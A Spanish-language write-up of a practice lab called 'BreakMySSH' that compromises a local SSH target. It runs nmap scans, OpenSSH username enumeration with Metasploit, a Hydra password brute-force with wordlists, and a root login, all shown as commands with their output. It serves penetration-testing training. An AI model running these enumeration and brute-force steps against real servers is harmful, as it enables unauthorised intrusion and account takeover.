😐

[ no0funny ]

BreakMySSH

Laboratorio para practicar ataques de fuerza bruta con Hydra contra el servicio SSH.

BreakMySSH

Enumeration

Hacemos un escaneo con nmap para saber que puertos estån abiertos y qué servicios corren en ellos.

sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 172.17.0.2
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64

Escaneamos el puerto abierto encontrado con nmap para conocer mås detalles del servicio que corre en él.

nmap -p 22 -sCV -oA nmap/openports 172.17.0.2
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 1a:cb:5e:a3:3d:d1:da:c0:ed:2a:61:7f:73:79:46:ce (RSA)
|   256 54:9e:53:23:57:fc:60:1e:c0:41:cb:f3:85:32:01:fc (ECDSA)
|_  256 4b:15:7e:7b:b3:07:54:3d:74:ad:e0:94:78:0c:94:93 (ED25519)

Con searchsploit buscamos si hay alguna vulnerabilidad para openssh 7.7

searchsploit openssh 7.7
OpenSSH 2.3 < 7.7 - Username Enumeration                                                                                                  | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC)                                                                                            | linux/remote/45210.py
OpenSSH < 7.7 - User Enumeration (2)                                                                                                      | linux/remote/45939.py

Buscamos con metasploit si hay algĂșn mĂłdulo que enumere usuarios en SSH ya que los scripts de Python que proporciona ExploitDB se crearon con librerĂ­as obsoletas.

msfconsole -q
search openssh 7
1  auxiliary/scanner/ssh/ssh_enumusers          .                normal     No     SSH Username Enumeration
use auxiliary/scanner/ssh/ssh_enumusers
show options
Module options (auxiliary/scanner/ssh/ssh_enumusers):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   CHECK_FALSE   true             no        Check for false positives (random username)
   DB_ALL_USERS  false            no        Add all users in the current database to the list
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
   RHOSTS                         yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT         22               yes       The target port
   THREADS       1                yes       The number of concurrent threads (max one per host)
   THRESHOLD     10               yes       Amount of seconds needed before a user is considered found (timing attack only)
   USERNAME                       no        Single username to test (username spray)
   USER_FILE                      no        File containing usernames, one per line


Auxiliary action:

   Name              Description
   ----              -----------
   Malformed Packet  Use a malformed packet
set RHOSTS 172.17.0.2
set user_file /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
run
[*] 172.17.0.2:22 - SSH - Using malformed packet technique
[*] 172.17.0.2:22 - SSH - Checking for false positives
[*] 172.17.0.2:22 - SSH - Starting scan
[+] 172.17.0.2:22 - SSH - User 'mail' found
[+] 172.17.0.2:22 - SSH - User 'root' found
[+] 172.17.0.2:22 - SSH - User 'news' found
[+] 172.17.0.2:22 - SSH - User 'man' found
[+] 172.17.0.2:22 - SSH - User 'bin' found
[+] 172.17.0.2:22 - SSH - User 'games' found
[+] 172.17.0.2:22 - SSH - User 'nobody' found
[+] 172.17.0.2:22 - SSH - User 'lovely' found
[+] 172.17.0.2:22 - SSH - User 'backup' found
[+] 172.17.0.2:22 - SSH - User 'daemon' found
[+] 172.17.0.2:22 - SSH - User 'proxy' found
[+] 172.17.0.2:22 - SSH - User 'list' found
[+] 172.17.0.2:22 - SSH - User 'sys' found

Copiamos el output a un archivo valid_users.txt y con awk nos quedamos solo con los nombres de usuarios redirigiendo el output a un archivo llamado users.txt

awk -F"'" '{print $2}' valid_users.txt > users.txt

Ahora hacemos fuerza bruta con hydra para ver si encontramos alguna contraseña vålida para alguno de los usuarios vålidos, usamos una lista relativamente corta porque si no va a tardar una eternidad probando todas las contraseñas por cada usuario encontrado.

hydra -L users.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/10k-most-common.txt -t 4 -I -F ssh://172.17.0.2
[22][ssh] host: 172.17.0.2   login: root   password: estrella

Con el password del usuario root nos conectamos a la mĂĄquina vĂ­ctima mediante ssh

ssh root@172.17.0.2

Ejecutamos el comando id para ver qué usuario estå corriendo el proceso actual.

id
uid=0(root) gid=0(root) groups=0(root)